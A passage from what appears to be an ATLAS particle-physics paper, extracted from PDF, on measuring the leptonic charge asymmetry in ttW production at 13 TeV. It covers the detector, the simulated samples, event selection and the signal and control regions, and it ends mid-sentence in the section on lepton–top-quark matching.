+𝑡¯𝑡 production in association with a Higgs boson (𝑡¯𝑡𝐻) or the production of four top quarks (𝑡¯𝑡𝑡¯𝑡) [5, 6]. The
+inclusive cross-section of 𝑡¯𝑡𝑊 production has been measured by both the ATLAS and CMS collaborations
+at √𝑠 = 13 TeV using partial and full LHC Run 2 datasets [7, 8], respectively.
+Illustrative Feynman diagrams contributing to 𝑡¯𝑡𝑊 production at leading order (LO) and next-to-leading
+order (NLO) for both QCD and EW production are shown in Figure 1 where 𝑞′ indicates a quark of different
+flavour from that of the other initial-state quark. At LO, only the 𝑞 ¯𝑞′ initial state is present (Figure 1 a,b). At
+NLO, the quark–gluon (𝑞𝑔) channels open up (Figure 1 c,d), whereas gluon–gluon (𝑔𝑔) fusion production
+does not contribute until next-to-next-to-leading-order (NNLO) corrections are included.
+t
+¯t
+W±
+¯q
+q′
+g
+t
+¯t
+W±
+¯q
+q′
+Z/γ
+t
+¯t
+¯q′
+W±
+¯q
+g
+W±
+t
+¯t
+¯q′
+¯q
+g
+H
+(a)
+(b)
+(c)
+(d)
+1
+Figure 1: Examples of Feynman diagrams of 𝑡¯𝑡𝑊 production at (a,b) LO and (c,d) NLO with one extra parton. The
+diagrams show (a,c) QCD and (b,d) EW 𝑡¯𝑡𝑊 production.
+In 𝑡¯𝑡 production, the top quark (top antiquark) is preferentially produced in the direction of the incoming
+quark (antiquark). This is due to the interference effects between amplitudes in the 𝑞 ¯𝑞 initial state and results
+in a difference in the rapidity distribution between top quarks and top antiquarks.1 In proton–proton (𝑝𝑝)
+collisions at the LHC, this production asymmetry results in a central–forward rapidity charge asymmetry
+as top quarks (antiquarks) are produced with more forward (central) rapidities. Given that 𝑡¯𝑡 production at
+the LHC is dominated by the charge-symmetric 𝑔𝑔 initial state, such asymmetry is a subtle (order of 1%)
+effect. At the Tevatron collider (𝑝 ¯𝑝 collisions), the preferential direction of the incoming quark (antiquark)
+is very likely to coincide with that of the proton (antiproton). Thus, a forward–backward asymmetry is
+sizable (order of 10%).
+1 ATLAS uses a right-handed coordinate system with its origin at the nominal interaction point in the centre of the detector and
+the 𝑧-axis along the beam pipe. The 𝑥-axis points from the interaction point to the centre of the LHC ring, and the 𝑦-axis points
+upwards. Cylindrical coordinates (𝑟, 𝜙) are used in the transverse plane, 𝜙 being the azimuthal angle around the 𝑧-axis. The
+rapidity (𝑦) of a particle is given by 𝑦 = 1/2 ln (𝐸 + 𝑝𝑧)/(𝐸 − 𝑝𝑧). The pseudorapidity (𝜂) is defined in terms of the polar
+angle 𝜃 as 𝜂 = − ln tan(𝜃/2). The angular distance is measured in units of Δ𝑅 ≡
+√︁
+(Δ𝜂)2 + (Δ𝜙)2.
+2
+
+The top-quark-based rapidity charge asymmetry (𝐴𝑡
+c,𝑦) is defined by
+𝐴𝑡
+c,𝑦 = 𝑁 (Δ𝑦𝑡 > 0) − 𝑁 (Δ𝑦𝑡 < 0)
+𝑁 (Δ𝑦𝑡 > 0) + 𝑁 (Δ𝑦𝑡 < 0) ,
+(1)
+where Δ𝑦𝑡 = |𝑦𝑡| − |𝑦¯𝑡| is the difference between the absolute rapidities of the top quark (|𝑦𝑡|) and top
+antiquark (|𝑦¯𝑡|), respectively.
+In 𝑡¯𝑡𝑊 production, the relative dominance of the 𝑞 ¯𝑞′ initial state leads to a larger rapidity charge asymmetry
+than in 𝑡¯𝑡 production [9, 10]. Furthermore, the 𝑊 boson present in 𝑡¯𝑡𝑊 production is typically radiated
+from the initial 𝑞 ¯𝑞′ state and, therefore, serves as a polariser of the initial 𝑞 ¯𝑞′ state and in turn the final
+𝑡¯𝑡 state. This polarisation further enhances the asymmetry between the decay products of the top quarks
+and top antiquarks. The prospects for experimental observation of these asymmetries are greatest in the
+case of the charged leptons originating from the top-quark (antiquark) decays. This is due to the precision
+with which the lepton kinematics can be reconstructed and the power with which reducible background
+processes can be suppressed. The leptonic charge asymmetry (𝐴ℓ
+c), in the following just referred to as
+‘charge asymmetry’, is defined analogously to Eq. (1), but based on the pseudorapidities of the leptons
+from the top-quark and top-antiquark decays:
+𝐴ℓ
+c = 𝑁 (Δ𝜂ℓ > 0) − 𝑁 (Δ𝜂ℓ < 0)
+𝑁 (Δ𝜂ℓ > 0) + 𝑁 (Δ𝜂ℓ < 0) ,
+(2)
+where Δ𝜂ℓ = |𝜂ℓ| − |𝜂 ¯ℓ| is the difference between the absolute pseudorapidities of the leptons that originate
+from the top quark (|𝜂ℓ|) and top antiquark (|𝜂 ¯ℓ|), respectively.
+Reference [9] gives a comparison of NLO QCD matrix elements (MEs) matched to parton shower (PS)
+calculations of the top-quark-based and leptonic charge asymmetries of 𝑡¯𝑡 and 𝑡¯𝑡𝑊 production in the
+full phase space at √𝑠 = 13 TeV. The charge asymmetry for 𝑡¯𝑡𝑊 is larger than for 𝑡¯𝑡 production at the
+expense of a smaller cross-section for the process. In addition to being sensitive to BSM physics, such as
+axigluons and Standard Model Effective Field Theory (SMEFT) scenarios corresponding to four-fermion
+operators (examples given in Refs. [9] and [11]), charge asymmetry measurements have the potential to
+discriminate between new physics signals with different chiral structures that would be indistinguishable
+using only cross-section observables.
+At the Tevatron, forward–backward asymmetries in 𝑡¯𝑡 production have been measured, with results found
+to be in agreement with SM calculations that include higher-order corrections [12, 13]. The ATLAS and
+CMS collaborations performed measurements of the top-quark-based charge asymmetry for 𝑡¯𝑡 production.
+A combination of these ATLAS and CMS results at √𝑠 = 7 TeV and 8 TeV for the top-quark-based charge
+asymmetry is reported in Ref. [14] and updated measurements have been published by ATLAS and CMS
+using √𝑠 = 13 TeV data [15, 16]. The measurements reported by CMS in Ref. [17] include an extraction of
+the leptonic charge asymmetry for 𝑡¯𝑡 production in a particle-level fiducial volume. A measurement of the
+top-quark-based charge asymmetry for 𝑡¯𝑡 production in association with a photon has been reported by
+ATLAS in Ref. [18]. None of these measurements show significant deviations from the SM expectations.
+In Ref. [10], NLO QCD calculations of 𝐴ℓ
+c have been performed including top-quark off-shell effects,
+which also include the impact of different renormalisation and factorisation scale choices on 𝐴ℓ
+c in the
+multi-lepton channel at the LHC at √𝑠 = 13 TeV.2
+This paper presents a search for the leptonic charge asymmetry in 𝑡¯𝑡𝑊 production using 𝑝𝑝 collision data
+at √𝑠 = 13 TeV in the trilepton (3ℓ) channel with the full Run 2 data sample, corresponding to an integrated
+2 These results are given in terms of the rapidities of the leptons (𝐴ℓc,𝑦) and not the pseudorapidities.
+3
+
+luminosity of 139 fb−1. The paper is organised as follows. Section 2 provides a brief description of the
+ATLAS detector. In Section 3, the data sample as well as the simulated signal and background processes
+are discussed. The reconstructed particle candidates are defined in Section 4. Section 5 gives an overview
+of the event selection and of the definitions of the control and signal regions. The algorithm used to identify
+reconstructed leptons originating from top quarks (antiquarks) is explained in Section 6. In Section 7, the
+sources of systematic uncertainties that affect the search are discussed. The result for the charge asymmetry
+measurement at reconstruction level is presented in Section 8. The unfolding procedure and the extraction
+of the charge asymmetry at particle level are presented in Section 9. In Section 10, the conclusions are
+drawn.
+2 The ATLAS detector
+The ATLAS detector [19] at the LHC covers nearly the entire solid angle around the collision point. It
+consists of an inner tracking detector surrounded by a thin superconducting solenoid, electromagnetic and
+hadronic calorimeters, and a muon spectrometer incorporating three sets of large superconducting toroidal
+magnets, each consisting of eight separate coils. The inner-detector system is immersed in a 2 T axial
+magnetic field and provides charged-particle tracking in the range |𝜂| < 2.5.
+The high-granularity silicon pixel detector covers the vertex region and typically provides four measurements
+per track, with the first hit typically being detected in the insertable B-layer installed before Run 2 [20,
+21]. It is followed by the silicon microstrip tracker, which usually provides eight measurements per
+track. These silicon detectors are complemented by the transition radiation tracker (TRT), which enables
+radially extended track reconstruction up to |𝜂| = 2.5. The TRT also provides electron identification
+information based on the fraction of hits above a higher energy-deposit threshold corresponding to transition
+radiation. Typically, around 30 TRT hits are measured in total per track.
+The calorimeter system covers the pseudorapidity range |𝜂| < 4.9. In the region |𝜂| < 3.2, electromagnetic
+calorimetry is provided by barrel and endcap high-granularity lead/liquid-argon (LAr) calorimeters, with
+an additional thin LAr presampler covering |𝜂| < 1.8 to correct for energy loss in material upstream of
+the calorimeters. Hadronic calorimetry is provided by the steel/scintillator-tile calorimeter, segmented
+into three barrel structures with |𝜂| < 1.7, and two copper/LAr hadronic endcap calorimeters. The solid
+angle coverage is extended with forward copper/LAr and tungsten/LAr calorimeter modules optimised for
+electromagnetic and hadronic measurements respectively.
+The muon spectrometer comprises separate trigger and high-precision tracking chambers measuring the
+deflection of muons in a magnetic field generated by the superconducting air-core toroids. The field integral
+of the toroids ranges between 2.0 and 6.0 Tm across most of the detector. A set of precision chambers
+covers the region |𝜂| < 2.7 with three layers of monitored drift tubes, complemented by cathode-strip
+chambers in the forward region, where the background rates are highest. The muon trigger system covers
+the range |𝜂| < 2.4 with resistive-plate chambers in the barrel, and thin-gap chambers in the endcap
+regions.
+Relevant events are selected to be recorded by the first-level trigger system implemented in custom hardware,
+followed by selections made by algorithms implemented in software in the high-level trigger [22]. The
+first-level trigger accepts events from the 40 MHz bunch crossings at a rate below 100 kHz, which the
+high-level trigger reduces to record events to disk at about 1 kHz.
+4
+
+An extensive software suite [23] is used in data simulation, in the reconstruction and analysis of real and
+simulated data, in detector operations, and in the trigger and data acquisition systems of the experiment.
+3 Data and simulated event samples
+The analysis is performed on data from 𝑝𝑝 collisions at √𝑠 = 13 TeV delivered by the LHC and recorded
+by the ATLAS detector in the years 2015–2018. The bunch spacing for this data-taking period was 25 ns
+with a typical number of 𝑝𝑝 interactions per bunch crossing (‘pile-up’) that varies by year and LHC beam
+conditions and was in the range from 10 to 70 for almost all events. After requirements on the stability of
+the beams, the operational status of all ATLAS detector components, and the quality of the recorded data,
+the total integrated luminosity of the data sample corresponds to 139 fb−1. This value is derived from the
+calibration of the luminosity scale using 𝑥–𝑦 beam-separation scans, following a methodology similar to
+that detailed in Ref. [24], and using the LUCID-2 detector [25] for the baseline luminosity measurements.
+Simulated Monte Carlo (MC) samples are used to model the contributions from the various SM processes.
+The MC generators used for the hard-scattering, as well as the PS, underlying event and hadronisation, are
+explained in the following. For some processes, in addition to the nominal simulation, alternative MC
+samples are available that are used to evaluate the effects of different MC modelling uncertainties (see
+Section 7.2). All MC samples were generated using a 25 ns bunch-spacing configuration.
+The effect of pile-up was modelled by overlaying the hard-scattering event with simulated minimum-
+bias events generated with Pythia 8.186 [26] using the NNPDF2.3lo [27] set of parton distribution
+functions (PDFs) and the A3 set of tuned MC parameters [28]. Separate MC production campaigns were
+used to model the different pile-up distributions observed in data for the years 2015/16, 2017 and 2018.
+The simulated samples were reweighted to reproduce the observed distribution of the average number
+of collisions per bunch crossing. The simulation of detector effects was performed with either a full
+ATLAS detector simulation based on the Geant4 [29] framework or a fast simulation (AtlFast-II) using a
+parameterisation of the performance of the electromagnetic and hadronic calorimeters and Geant4 for the
+other detector components [30].
+The signal process (𝑡¯𝑡𝑊) was simulated at NLO precision in QCD with Sherpa 2.2.10 [31] and the
+NNPDF3.0nnlo PDF set [32]. In this set-up, multiple MEs were matched and merged with the Sherpa PS
+model based on the Catani–Seymour dipole factorisation scheme [33, 34]. The virtual QCD corrections for
+MEs at NLO accuracy were provided by the OpenLoops library [35, 36]. Up to one additional parton
+was included in the NLO ME, and two, three or four additional partons were included at LO in QCD. The
+merging scale parameter (𝜇q), which sets a threshold to determine what part of the phase-space is filled
+by the PS or the ME generator, was set to an energy of 30 GeV. Additional partons beyond ME-level
+accuracy and below the merging scale threshold were therefore described by the PS. The masses of the top
+quark and the 𝑊 boson were set to 172.5 GeV and 80.4 GeV, respectively [37]. In addition to the nominal
+prediction at NLO in QCD (order of 𝛼𝛼3
+s ),3 higher-order corrections related to EW 𝑡¯𝑡𝑊 contributions were
+also added as part of the signal definition. The 𝛼3 and 𝛼2𝛼2
+s corrections were added through MC event
+weights derived using the virtual additive corrections in the formalism described in Ref. [38].
+An alternative 𝑡¯𝑡𝑊 sample uses MadGraph5_aMC@NLO 2.9.3 [39, 40] (in the following denoted by
+MG5_aMC@NLO) for the ME and was interfaced to Pythia 8.245 [41] for the PS, underlying event
+and hadronisation modelling. This sample was generated with the FxFx algorithm [42] with up to one
+3 𝛼 and 𝛼s denote the EW and strong coupling constants, respectively.
+5
+
+additional parton at NLO accuracy and up to two additional partons at LO accuracy in QCD. The expected
+accuracy of this sample is similar to that of the nominal Sherpa 2.2.10 sample. This multi-leg configuration
+makes use of complex functional forms for the renormalisation and factorisation scales (𝜇r and 𝜇f) that are
+chosen dynamically and depend on the kinematics of the event after the merging of the core process with
+the additional partons following the FxFx merging prescription [42–44]. They depend on the phase-space
+configuration and are related to the clustering scales of the additional partons and on the core process. The
+merging scale parameter was set to 30 GeV. The sample was simulated using the NNPDF3.0nlo PDF set
+and the A14 set of tuned MC parameters [45], henceforth referred to as the ‘A14 MC tune’. Top-quark
+decays were simulated at LO using the MadSpin program [46, 47]. Further alternative 𝑡¯𝑡𝑊 samples were
+simulated with the Powheg [48] generator providing ME calculations at NLO in 𝛼s with the NNPDF3.0nlo
+PDF set and the A14 MC tune. These Powheg 𝑡¯𝑡𝑊 samples were interfaced either with Pythia 8.245
+or with Herwig 7.2.1 [49–51] for the simulation of the PS, underlying event and hadronisation. All the
+alternative 𝑡¯𝑡𝑊 samples were normalised to the same cross-section as the nominal Sherpa 2.2.10 sample in
+order not to be sensitive to overall normalisation differences when comparing the two simulations.
+The 𝑡¯𝑡𝑊 EW corrections at the order of 𝛼3𝛼s were simulated by an independent Sherpa 2.2.10 sample,
+produced at LO in QCD with the same configuration as the nominal signal sample. Since the charge
+asymmetry from these processes is negligible compared to the nominal signal contribution, this MC sample
+is treated as a background in the analysis.
+The production of a 𝑡¯𝑡 pair in association with a 𝑍 boson (𝑡¯𝑡𝑍) was simulated at NLO precision with
+the MG5_aMC@NLO 2.8.1 generator for the ME and Pythia 8.244 for the PS, underlying event and
+hadronisation, together with the NNPDF3.0nlo PDF set and the A14 MC tune. The mass of the 𝑍 boson
+was set to 91.2 GeV [37]. The 𝑡¯𝑡𝛾∗ contribution and 𝑍/𝛾∗ interference effects were taken into account, with
+the samples including events with dilepton invariant masses (𝑚ℓℓ) down to 1 GeV, where ℓ is an electron
+or muon. Additional 𝑡¯𝑡𝑍 samples using MG5_aMC@NLO 2.8.1 for the ME, but Herwig 7.2.1 for the PS
+along with the Herwig standard set of tuned parameters and the NNPDF3.0nlo PDF set were used for the
+evaluation of systematic uncertainties associated with the PS and hadronisation. Further alternative 𝑡¯𝑡𝑍
+samples with the same settings as the nominal samples, but using the A14 eigentune variation Var3c [45],
+are used to evaluate the uncertainty associated with the initial-state radiation (ISR). Similarly to 𝑡¯𝑡𝑊, the
+alternative 𝑡¯𝑡𝑍 samples were normalised to the same cross-section as the nominal sample.
+The production of 𝑡¯𝑡, 𝑡¯𝑡𝐻 and 𝑡𝑊 events was simulated at NLO with the Powheg generator for the ME,
+together with the NNPDF3.0nlo PDF set and the A14 MC tune. The ℎdamp parameter, which controls the
+matching in Powheg and regulates the high-𝑝T radiation against which the 𝑡¯𝑡 system recoils, was set to
+1.5 times the nominal top-quark mass. The events were interfaced to Pythia 8.230 for the PS, underlying
+event and hadronisation. The 𝑡¯𝑡 cross-section was normalised to next-to-next-to-leading-logarithmic
+order (NNLL) in QCD, including the resummation of NNLL soft-gluon terms (NNLO + NNLL) [52,
+53]. The 𝑡¯𝑡𝐻 samples were normalised to NLO (QCD and EW) using the calculations documented in
+Ref. [54]. The 𝑡𝑊 sample was normalised to NLO in QCD including NNLL soft-gluon corrections [55].
+An alternative 𝑡¯𝑡 simulation was used with the same set-up for the ME, but the events were interfaced to
+Herwig 7.1.3 [56] for the PS, underlying event and hadronisation modelling. The Herwig standard set of
+tuned parameters and the NNPDF3.0nlo PDF set were used. Alternative 𝑡¯𝑡𝐻 samples were used, where
+either the ME generator (MG5_aMC@NLO 2.6.0) or the PS algorithm (Herwig 7.2.1) was changed with
+respect to the nominal 𝑡¯𝑡𝐻 simulation.
+A MC sample featuring the production of 𝑡¯𝑡 events in association with photons (𝑡¯𝑡𝛾) was simulated at LO in
+QCD with MG5_aMC@NLO 2.3.3 and interfaced to Pythia 8.212, together with the NNPDF3.0nlo PDF
+6
+
+set and the A14 MC tune. This sample is, however, only used to assign an extra uncertainty to additional
+photon radiation in the nominal 𝑡¯𝑡 prediction. Details of this procedure can be found in Section 7.2.
+The production of a single top quark (or antiquark) in association with a 𝑍 boson and one extra parton (𝑡𝑍𝑞)
+was simulated using the MG5_aMC@NLO 2.3.3 generator at NLO with the NNPDF3.0nnlo PDF set.
+The events were interfaced to Pythia 8.245 using the A14 MC tune. The 𝑡𝑍𝑞 simulation also includes
+off-shell 𝑍 boson decays into dilepton pairs with invariant masses in the range 𝑚ℓℓ > 5 GeV. Single top
+quark (antiquark) production in association with both a 𝑊 and a 𝑍 boson (𝑡𝑊𝑍) was simulated at NLO
+with MG5_aMC@NLO 2.2.2 and the NNPDF3.0nnlo PDF set, using Pythia 8.235 for the PS simulation.
+The interference between 𝑡¯𝑡𝑍 and 𝑡𝑊𝑍 was removed following a diagram-removal (DR) approach referred
+to as the ‘DR1 scheme’ [57].
+The MC samples featuring 𝑍 + jets production were simulated at NLO with the Powheg generator for
+the ME and interfaced to Pythia 8.186 for the PS. The AZNLO [58] set of tuned parameters and the
+NNPDF3.0nnlo PDF set were used. An alternative 𝑍 + jets simulation was done with the Sherpa 2.2.11
+generator where the default Sherpa PS set-up was used along with the NNPDF3.0nnlo PDF set. The
+𝑍 + jets samples feature events with 𝑚ℓℓ down to 10 GeV. The sample cross-sections were normalised to
+NNLO predictions [59]. The Powheg + Pythia 8 sample used Photos [60] for final-state radiation (FSR).
+For the simulation of 𝑍 boson production in association with a photon (𝑍𝛾), Sherpa 2.2.11 was used with
+the NNPDF3.0nnlo PDF set. The events were simulated at NLO precision.
+Diboson processes featuring the production of three charged leptons and one neutrino or four charged
+leptons (denoted by 𝑊𝑍 + jets or 𝑍𝑍 + jets, respectively) were simulated using the Sherpa 2.2.2 generator,
+with a similar set-up to that described for 𝑍 + jets. Events with up to one extra parton were simulated
+at NLO, and with two or three partons at LO precision. MC samples featuring Higgs boson production
+in association with a 𝑊 or 𝑍 boson (𝐻 +𝑊/𝑍) were generated at NLO using Powheg interfaced to
+Pythia 8.230/8.235 for the PS, together with the NNPDF3.0nlo PDF set and the AZNLO MC tune.
+The production of four top quarks (𝑡¯𝑡𝑡¯𝑡) was modelled at NLO with Sherpa 2.2.11 together with the
+NNPDF3.0nnlo PDF set. The production of three top quarks (𝑡𝑡¯𝑡) and the production of a 𝑡¯𝑡 pair with two
+𝑊 bosons (𝑡¯𝑡𝑊𝑊) were simulated at LO using MG5_aMC@NLO 2.2.2 interfaced to Pythia 8.186 with
+the A14 MC tune and the NNPDF2.3lo PDF set. Fully leptonically decaying triboson processes (𝑊𝑊𝑊,
+𝑊𝑊𝑍, 𝑊𝑍𝑍 and 𝑍𝑍𝑍) with up to six leptons in the final states were simulated with Sherpa 2.2.2 and the
+NNPDF3.0nlo PDF set. Final states with no additional partons were calculated at NLO, whereas final
+states with one, two or three additional partons were calculated at LO.
+For all MC samples except the Sherpa ones, the decays of 𝑏- and 𝑐-hadrons were simulated using the
+EvtGen 1.2.0 program [61].
+4 Event reconstruction
+Electron candidates are reconstructed from clusters of energy deposits in the electromagnetic calorimeter
+that are matched to tracks in the inner detector. They are required to satisfy 𝑝T > 10 GeV, |𝜂| < 2.47
+and need to pass a ‘Tight’ working point (WP), defined by a likelihood-based electron identification (ID)
+requirement [62]. To reject non-prompt electrons, the reconstructed track associated with the electron must
+satisfy the requirements |𝑧0 sin(𝜃)| < 0.5 mm and |𝑑0|/𝜎(𝑑0) < 5, where 𝑧0 describes the longitudinal
+7
+
+impact parameter relative to the reconstructed primary vertex,4 𝑑0 is the transverse impact parameter
+relative to the beam axis, and 𝜎(𝑑0) is the uncertainty in 𝑑0. Electron candidates are excluded if their
+calorimeter energy clusters lie within 1.37 < |𝜂| < 1.52, the transition region between the barrel and the
+endcap of the electromagnetic calorimeter.
+Additional requirements are applied to the electron candidates to suppress the contribution of electrons
+originating from converted photons (𝛾-conversions). Electrons can be identified as internal- or material-
+conversion candidates by checking for additional tracks close to the calorimeter energy clusters associated
+with the electrons and the existence of conversion vertices. Electrons that are identified as either internal-
+or material-conversion candidates are rejected. These requirements are referred to in the following as ‘𝑒/𝛾
+ambiguity requirements’.
+Furthermore, the electrons selected for the signal regions (SRs) of the analysis have to satisfy an isolation
+requirement. An isolation WP is defined using a multivariate likelihood discriminant that combines
+electromagnetic shower shapes and track information from the inner detector to distinguish prompt electrons
+from non-prompt/fake electrons originating from hadronic jets, 𝛾-conversions and heavy-flavour hadron
+decays. The electrons satisfying the isolation requirements are henceforth referred to as tight electrons,
+whereas loose electrons are defined by the conditions listed in the previous paragraph and do not need to
+satisfy the isolation requirement.
+Muon candidates have to satisfy 𝑝T > 10 GeV, |𝜂| < 2.5 and an ID selection, corresponding to a ‘Medium’
+WP. This sets requirements on the number of hits in the different inner detector and muon spectrometer
+subsystems and on the significance of the charge-to-momentum ratio (𝑞/𝑝) [63, 64]. If a muon has
+insufficient momentum resolution, the entire event is removed. Requirements on the impact parameters of
+the reconstructed track associated with the muon candidate are applied to reject non-prompt muons. The
+track is required to have |𝑧0 sin(𝜃)| < 0.5 mm and |𝑑0|/𝜎(𝑑0) < 3.
+As with electrons, an isolation requirement is applied to the muons used in the SRs, using the same approach
+based on a multivariate likelihood discriminant to distinguish prompt muons from non-prompt/fake muons.
+Muons are referred to as tight or loose, depending on whether or not they satisfy this isolation requirement
+in addition to the criteria listed above.
+Jets are reconstructed using the anti-𝑘𝑡 jet algorithm [65] on particle-flow objects [66] with the radius
+parameter set to 𝑅 = 0.4, as implemented in the FastJet package [67]. The anti-𝑘𝑡 algorithm is used to
+reconstruct jets with a four-momentum recombination scheme, using the particle-flow objects as inputs.
+The jet calibration is performed using a standard procedure that corrects the jet energy to match, on average,
+the particle-level jet energy in simulation and applies an in situ correction for data [68]. To suppress jets
+from additional 𝑝𝑝 interactions within the same bunch crossing, a ‘jet vertex tagger’ (JVT) [69, 70] is
+applied to select jets. The jets are only kept if they have 𝑝T > 20 GeV and are in a pseudorapidity range of
+|𝜂| < 2.5. In addition, JVT > 0.2 is required for jets with 𝑝T < 60 GeV and |𝜂| < 2.4, corresponding to a
+‘Medium’ JVT WP.
+The selection of jets containing 𝑏-hadrons (‘𝑏-tagging’) is performed with a multivariate deep-learning
+algorithm referred to as DL1r [71, 72]. A selection that provides a 77% efficiency for identifying jets
+containing 𝑏-hadrons (‘𝑏-jets’) in simulated 𝑡¯𝑡 events, with a rejection factor of 130 against light-flavour
+jets and of five against jets containing 𝑐-hadrons, is used.
+4 The primary vertex is defined as the vertex (at least two associated tracks with 𝑝T > 500 MeV) with the highest scalar sum of
+the squared transverse momenta of the associated tracks.
+8
+
+Associated scale factors are applied as multiplicative factors to the MC event weights, to correct for
+the mis-modelling of efficiencies associated with the reconstruction, identification, isolation and trigger
+selection of electrons and muons, as well as the JVT and 𝑏-tagging selection for jets.
+The missing transverse momentum is defined as the negative vector sum of the transverse momenta of
+all selected and calibrated particle candidates (electrons, muons and jets). Low-momentum tracks from
+the primary vertex that are not associated with any of the reconstructed particle candidates described
+previously are also included as a ‘soft term’ in the calculation [73]. The magnitude of the missing transverse
+momentum vector is denoted by 𝐸miss
+T
+.
+Ambiguities between independently reconstructed electrons, muons and jets can arise. A sequential
+procedure, referred to as ‘overlap removal’, is performed to resolve these ambiguities and, thus, avoids double
+counting of particle candidates. It is applied as follows. if an electron candidate and a muon candidate share a
+track, the electron candidate is removed. Jet candidates within a distance of Δ𝑅𝑦,𝜙 =
+√︁
+(Δ𝑦)2 + (Δ𝜙)2 = 0.2
+from a remaining electron candidate are discarded. If multiple jets are found in this area, only the closest
+jet is removed. If the electron–jet distance is between 0.2 and 0.4, the electron candidate is removed. If the
+Δ𝑅𝑦,𝜙 between any remaining jet and a muon candidate is less than 0.4, the muon candidate is removed if
+the jet has more than two associated tracks, otherwise, the jet is discarded.
+5 Event selection and definitions of control and signal regions
+Events were selected with either single-lepton or dilepton (dielectron, dimuon and electron–muon) triggers
+with their minimum 𝑝T thresholds varying from 12 to 26 GeV, depending on the lepton flavour, the trigger
+type and the data-taking period [74, 75]. A logical ‘OR’ between the triggers was applied. Only events
+with exactly three charged light leptons (electrons or muons), as defined in Section 4, are selected. If
+additional tight electrons or muons are found in the event, the event is rejected. The transverse momenta
+of the three charged leptons have to be larger than 30, 20 and 15 GeV for the leading, sub-leading and
+third lepton, respectively. A geometrical matching between the selected leptons found in the event and the
+ones reconstructed by the trigger algorithms is required. Furthermore, the 𝑝T of the lepton that fires a
+trigger needs to be above the 𝑝T threshold of the respective trigger to ensure that the trigger is maximally
+efficient.
+The selected events are classified into four SRs, depending on their jet and 𝑏-jet multiplicities, as well as
+their 𝐸miss
+T
+. In addition, four control regions (CRs) are defined to constrain the dominant backgrounds in
+the simultaneous fit to extract the result. In 𝑡¯𝑡𝑊 production with three charged leptons in the final state,
+two jets originated from 𝑏-quarks are expected from the hard-process. However, additional jet activity due
+to gluon radiation and showering effects can occur. Thus, events are split into ‘low-𝑁jets’ regions with two
+or three jets and ‘high-𝑁jets’ with at least four jets.
+The definitions of the SRs and CRs are summarised in Table 1. The sum of the three lepton charges must
+be ±1. A requirement that the invariant mass of the opposite-sign–same-flavour lepton pair (𝑚OSSF
+ℓℓ
+) be at
+least 30 GeV is applied to remove the contributions from low-mass lepton resonances (e.g. 𝐽/𝜓 → ℓ+ℓ−).
+The number of 𝑍 boson candidates (𝑁𝑍-cand.) is defined by the number of OSSF lepton pairs found in
+the event that have an invariant mass in the range [𝑚𝑍 − 10 GeV, 𝑚𝑍 + 10 GeV]. Exactly one 𝑍 boson
+candidate is required for the CR for the 𝑡¯𝑡𝑍 background, but zero for all the other regions. The CRs targeting
+non-prompt electron/muons arising from heavy-flavour (HF) hadron decays (CR-HF𝑒 and CR-HF𝜇) are
+separated by the flavour of the third lepton. The third lepton must fail the isolation requirements in order to
+9
+
+enrich these regions with HF leptons. The CR for 𝛾-conversions (CR-𝛾-conv) requires at least one of the
+leptons to be an electron candidate that fails the 𝑒/𝛾 ambiguity requirements defined in Section 4. The
+contribution from electrons with misidentified electric charge has been studied in MC and found to be
+negligible in the SRs.
+Although the SR with two 𝑏-jets and low jet multiplicity (SR-2𝑏-low𝑁jets) is the most sensitive to 𝑡¯𝑡𝑊
+production, the best result can be obtained from a statistical combination of all SRs and CRs (see
+Section 8).
+Table 1: Summary of the requirements applied to define the signal and control regions of the analysis. 𝑁jets includes
+𝑏-tagged and non-𝑏-tagged jets. The labels ‘T’ and ‘T’ refer to tight leptons that satisfy all selection requirements
+described in Section 4 (T) and loose leptons that fail to satisfy the isolation requirements (T).
+Preselection
+𝑁ℓ (ℓ = 𝑒/𝜇)
+= 3
+𝑝ℓ
+T (1st/2nd/3rd)
+≥ 30 GeV, ≥ 20 GeV, ≥ 15 GeV
+Sum of lepton charges
+±1
+𝑚OSSF
+ℓℓ
+≥ 30 GeV
+Region-specific requirements
+SR-1𝒃-low𝑵jets
+SR-1𝒃-high𝑵jets
+SR-2𝒃-low𝑵jets
+SR-2𝒃-high𝑵jets
+𝑁jets
+[2, 3]
+≥ 4
+[2, 3]
+≥ 4
+𝑁𝑏-jets
+= 1
+= 1
+≥ 2
+≥ 2
+𝐸miss
+T
+≥ 50 GeV
+≥ 50 GeV
+–
+–
+𝑁𝑍-cand.
+= 0
+Lepton criteria
+TTT
+𝑒/𝛾 ambiguity-cuts
+satisfy all
+CR-𝒕¯𝒕𝒁
+CR-HF𝒆
+CR-HF𝝁
+CR-𝜸-conv
+ℓ1st/2nd/3rd
+ℓℓℓ
+ℓℓ𝑒
+ℓℓ𝜇
+ℓℓ𝑒, ℓ𝑒ℓ, 𝑒ℓℓ
+𝑁jets
+≥ 4
+≥ 2
+≥ 2
+≥ 2
+𝑁𝑏-jets
+≥ 2
+= 1
+= 1
+≥ 1
+𝐸miss
+T
+–
+< 50 GeV
+< 50 GeV
+< 50 GeV
+𝑁𝑍-cand.
+= 1
+= 0
+= 0
+= 0
+Lepton criteria
+TTT
+TTT
+TTT
+TTT
+𝑒/𝛾 ambiguity-cuts
+satisfy all
+satisfy all
+satisfy all
+≥ 1 fail
+6 Lepton–top-quark matching
+In the 𝑡¯𝑡𝑊 process, the leptonic charge asymmetry is calculated only from the charged leptons that originate
+from the top quark and top antiquark. Since this search targets events with three charged leptons, a
+problem arises when selecting the two leptons used to calculate the difference between their absolute
+pseudorapidities (Δ𝜂ℓ) and ultimately the 𝐴ℓ
+c value (as defined in Eq. (2)). The leptons that originate from
+a 𝑡¯𝑡 pair always have opposite-sign charges. In a 𝑡¯𝑡𝑊 event with three charged leptons, the two leptons with
+10
+
+the same charge cannot both come from the 𝑡¯𝑡 pair and will always contain one lepton from a top-quark or
+top-antiquark decay and one lepton from the decay of the 𝑊 boson produced in association with the 𝑡¯𝑡 pair.
+This same-sign pair of leptons is henceforth referred to as the ‘even’ leptons. The remaining lepton with
+opposite charge, referred to as the ‘odd’ lepton, will always originate from a top quark or top antiquark.
+The problem of selecting the two leptons from top quark or top-antiquark decays is hence reduced to
+selecting one of the even leptons to calculate Δ𝜂ℓ.
+This problem is addressed using a boosted decision tree (BDT) classifier algorithm that computes a
+discriminator value for each even lepton in each event. Large discriminator values correspond to large
+probabilities that a given lepton originated from a top-quark decay. The lepton with the highest BDT
+discriminator score is selected to calculate Δ𝜂ℓ. The Δ𝜂ℓ values calculated with the selected lepton and
+the odd lepton are denoted by Δ𝜂ℓ
+BDT. Five input variables that each discriminate between leptons from
